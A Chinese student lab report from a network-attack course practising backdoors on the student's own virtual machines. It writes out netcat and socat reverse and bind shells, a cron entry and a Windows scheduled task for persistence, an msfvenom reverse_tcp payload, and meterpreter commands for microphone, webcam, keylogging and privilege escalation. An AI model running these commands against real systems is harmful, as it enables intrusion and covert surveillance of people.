2018-2019 2 20165203 《网络对抗技术》 Exp2 后门原理与实践
实验内容
1.使用netcat获取主机操作Shell,cron启动 (0.5分)
2.使用socat获取主机操作Shell,任务计划启动 (0.5分)
3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)
4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)
5.可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告
基础知识问答
问题1:例举你能想到的一个后门进入到你系统中的可能方式?
- 比如,我想在网上下载一个软件,软件的安装包可能带有后门程序,或者我的Win10系统有的漏洞还没有补丁,攻击者可能会利用漏洞来攻击,将后门程序注入到我的主机系统。
问题2:例举你知道的后门如何启动起来(win及linux)的方式?
- windows系统上有一个定时任务,后门程序可以通过定时任务运行
- 或者通过各种信息,诱惑用户点击运行(例如点击即可降价打折等等)
问题3:Meterpreter有哪些给你映像深刻的功能?
哇,既然提到这个问题,Meterpreter真的是细思极恐
- 首先,能够开启靶机的摄像头,这真是太可怕了,真的会侵犯到个人的隐私;
- 更可怕的是能够记录按键过程,如果电脑上有什么重要文件,那岂不是就很容易被窃取了,啧啧啧,So scareful!
- 还有一点,提升用户权限!
问题4:如何发现自己有系统有没有被安装后门?
老实说,我做本次实验的杀毒软件都是关闭状态,因为在做第一遍实验时,注入到win10的socat.exe
和backdoor
程序很快就被发现了,所以,平时还是打开杀毒软件比较好。
实验知识储备
常用的后门工具
- 后门:不经过正常认证流程而访问系统的通道。
- 后门的位置:
-
-
-
-
- 通俗说法:后门特指潜伏于操作系统中专门作为
后门
的一个程序;坏人可以连接这个程序;通过该程序可以远程执行各种指令;概念上和木马
上有重叠
那么,坏人通常如何通过后门进入系统呢?
- 首先,有可以充当后门的程序,例如
-
-
-
- 然后将后门程序,放在要攻击靶机的系统里,当然这就要有些手段了,通常有
-
-
-
-
-
-
-
-
- 自己贪图便宜,捡了个U盘,就用了,这里面可能包含后门程序。
-
- 然后还得运行起来,通常手段也有很多
-
- 开机自动启动技术(电脑开机时,后门程序也就启动了)
-
- win的定时任务(设置每个时间段的固定时候,后门程序就启动了)
-
-
- 后门程序伪装成常用软件,诱惑用户点击,一点击,后门程序就运行了。
- 后门程序当然靶机要检测,所以,后门程序还要做到不被靶机的恶意代码检测程序发现,通常用到的技术有:
-
-
-
说了这么多,我们常用的后门程序有哪些呢,也就是我们实验所使用的后门程序又有那些呢?
- netcat
-
-
-
- Linux一般自带
netcat
,通常用作nc
,可通过man netcat
或man nc
可查看说明。
-
- Windows系统中需要下载,下载地址为https://gitee.com/wildlinux/NetSec/attach_files,大家可以下载
netcat.rar
,解压后就可以使用了。
下面我们就来尝试一下如何使用netcat
和nc
吧。
尝试一 用nc或netcat获得远程主机的Shell(win7攻击Linux)
在这里Windows系统我选择win7,Linux系统我选择win10。
-
首先,利用ipconfig
查看windows的主机IP,如图所示,我的主机IP为192.168.154.139
。

-
下载好ncat
,进入目录,按windows + R
组合键打开cmd.exe,输入ncat.exe -l -p 5203
来监听5203端口,如图所示。

-
此时,在Linux中,让Linux反弹连接win7,输入命令nc 192.168.154.139 -e /bin/sh
,如图所示。(该IP为win的IP)

-
接下来,我们可以发现,我们在windows端成功获得了Linux端的shell终端。

尝试二 Linux获得windows终端(Linux攻击windows)
-
首先,我们用ipconfig
获得Linux的ip地址,ip为192.168.154.143
。如图所示。

-
随后,Linux通过输入命令ns -l -p 5203

-
Windows反弹连接Linux,在Windows终端下的ncat目录,输入ncat.exe -e cmd.exe 192.168.154.143
,如图所示。

-
这时,我们就会看到Linux终端下出现了Windows的终端。尝试一下,可以查看windows下的文件了。

尝试三 使用nc传输数据
首先,我们先来了解一下nc传输数据的格式
:
- 目的主机监听:
nc -l 监听端口 > 要接收的文件名
- 源主机发起请求:
nc 目的主机ip 目的端口
-
在Windows下发起监听,同样用ncat.exe -l -p 5203
,如图所示。

Kali Linux下连接通过命令nc 192.168.154.139 5203
连接到Window7。
建立连接后,就可以传输信息了,如图所示。
Windows和Linux下传输文件。


了解cron
- Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。
了解socat
- socat是
ncat
的增强版,使用格式是socat <option> <adress> <adress>
,其中两个
是必选项,而
- socat的两个基本功能是建立了两个双向的字节流,数据就在其间传输,参数
代表了其中的一个数据流向,数据有很多种类型,自然就需要选项参数
-
socat
的windows下载路径为https://gitee.com/wildlinux/NetSec/attach_files。
Meterpreter(根据老师上课所讲补充)
后门是一个程序,本来是有人编写一个程序,大家拿来用,但是有一些厉害的人,想编写一个平台能生成后门程序。这个平台,把后门的
等全部做成零件或可调整的参数。用的时候按需要的组合,就可以生成一个可执行文件。
常见的平台:
- intersect
- Metaspolit的msfvenom指令
- Veil-evasion
了解更多关于Meterpreter平台的内容,可以参考https://www.freebuf.com/articles/system/53818.html。
根据使用MSF生成的shellcode打造免杀playload,可以了解到,我们可以用msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.154.139 lport=5203 -f c
(IP为windows7的IP)生成shellcode,注入到可执行文件里,执行时可以攻击主机。
我们本次实践就是利用Meterpreter平台
生成一个后门程序,然后攻击靶机。
实验过程
任务一 使用netcat获取主机操作Shell,cron启动
-
在windows系统下,输入命令ncat.exe -l -p 5203
监听5203端口。

用crontab -e
完成一条定时任务。
-
打开文档后,在最后一行添加36 * * * * /bin/netcat 192.168.154.139 5203 -e /bin/sh
(windows的IP),意思是Kali Linux系统在每个小时的第36分钟反向连接windows的5203端口:

-
当时间为21:36分时,监听成功,windows处出现了Kali Linux终端,如图所示(当我在终端输出命令的时候,时间已经过了1分钟,所以,截图上显示的时间是21:36分)。

任务二 使用socat获取主机操作Shell,任务计划启动
本次实验我选的windows系统是win10系统。我查了一下我的win10主机的ip为 192.168.1.110
,如图所示。

-
在win10系统下,右击左下角windows的图标,选择计算机管理。

在任务计划程序
处创建任务,填写任务名称(这个名称是自己取的,我的是xyx)。
-
然后点击触发器
来新建一个触发器。开始任务
选择工作站锁定时
,设置范围为所有用户
,然后点击确定
,触发器就创建完了。

-
然后,在操作
->程序或脚本
中输入我们之前下载的socat.exe
的路径,我直接把它放在了C盘----C:用户xiaosocatsocat.exe
,在添加参数一栏中添加tcp-listen:5203 exec:cmd.exe,pty,stderr
,这个命令的作用是将cmd.exe绑定到端口5203上,同时把cmd.exe的stderr重定向到stdout上
。

-
任务创建完毕后,迅速按Windows+L
锁定计算机,再次打开时,我们可以查看到自己的任务,按右键,使其启动,状态变为正在运行
状态。

-
在Kali Linux环境下输入命令socat - tcp:192.168.1.110:5203
,这里的第一个参数代表-
代表标准的输入输出,第二个流连接到了windows10主机上的5203端口,此时,可以发现一个Kali Linux成功获得了一个cmd.exe,这个cmd.exe正是我们windows10的终端。

任务三 使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
-
在Kali Linux端,我们输入msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.154.139 lport=5203 -f exe > 20165203.exe
(windows7的IP地址),将生成的shellcode注入到后门程序20165203_backdoor.exe
中。

-
在Windows中使用ncat.exe -lv 5203 > 20165203_backdoor.exe
查看其连接状态,如图所示状态为连接正常。

-
在Kali Linux中输入nc 192.168.154.143 < 20165203_backdoor.exe
(顺序变,箭头也要变),将20165203_backdoor.exe的后门程序注入到Windows7中。如图所示,收到Connection的连接,说明传输成功。

并查看了自己在ncat文件夹中注入的20165203_backdoor.exe
程序,保证大小为73K,如果为0K,说明传输未成功。

我们在Kali Linux的终端上新打开一个终端,输入msfconsole
进入msf控制台。
然后,我们输入use exploit/multi/handler
使用监听模块,设置payload
。
使用和生成后门程序相同的payload
(在第一步那里),输入命令set payload windows/meterpreter/reverse_tcp
。
使用set LHOST 192.168.154.139
(ip为Kali的IP)来设置payload的IP。
使用set LPORT 5203
来设置payload的端口号。
-
payload设置完成后,我们来使用exploit
开始监听。

10.Kali Linux已经开始监听,此时,我们回到Windows7终端,退出上一次的命令,执行20165203_back_door.exe
,再看Kali Linux的终端,我们发现Linux获得了远程控制的Windows的shell。

任务四 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
-
接着上个内容,我们可以使用record_mic
截获一段音频,如图所示。


-
使用webcam_snap
可以使用摄像头进行拍照。(因为在晚上做的实验,穿着睡衣,就不拍本人了,嘻嘻)

-
使用screenshot
可以截屏。

-
使用keyscan_start
指令可以记录下鼠标击键的过程,使用keyscan_dump
可以读取击键的记录

使用getuid
查看当前用户,使用getsystem
进行提权。
实验中遇到的问题及解决方法
我遇到的问题零零散散,多数都是因为自己的智障犯下的错误,不过,我感觉有的问题还是很值得供大家参考借鉴的。
Q1:使用webcam_snap
使用win7摄像头时,无法使用,提示141错误,如图所示。

A1:因为win7是在虚拟机中的,所以,我们要从问题的根本下手。
-
首先,我们想到可能是win7虚拟机里压根儿就没有摄像头,因为想摄像头这样的USB设备本来就不可能同虚拟机和本机一起使用的,我们可以尝试查看一下win7的设备管理器,如图进入win7里面的控制面板
,查看设备管理器
。我们可以看到,里面根本就没有
图像设备
,自然就没有摄像头
了。

-
接下来,我们在虚拟机中设置,把USB端口连接到虚拟机上来,如图所示,要选择连接主机
哦。

-
接下来,我们在win7中刚才的设备管理器
中查看,就能发现有图像设备
了,就可以“偷窥”了,哈哈哈哈。

Q2:昨晚刚做完本次实验,结果今天打开Kali虚拟机时出现了如图所示问题,妈呀,不会是搞实验搞出问题了吧。

A2:结果,我发现我昨晚电脑里的socat.exe
还在运行着,占用着虚拟机,于是,我索性打开电脑里的任务管理器
,将里面带有.vm
的进程全部关掉,然后再开启我的电脑管家
,杀了一遍毒,Kali得以打开,看来平时还是要常打开杀毒软件。

实验感想与体会
这次实验真的很有激情,仿佛自己是个黑客,一步一步,当然是自己攻击自己,哈哈,当达到摄像头拍摄的效果时,自己仿佛开启了新时代的大门,成就感颇升。
感谢此次我们班课题负责人,也就是我们寝室长本次实验的帮助了,我们可以搞一个黑客组合了,哈哈。
不过,我觉得可以在今后的实验中,尝试用其他常见的后门程序来练习,更加熟悉后门原理。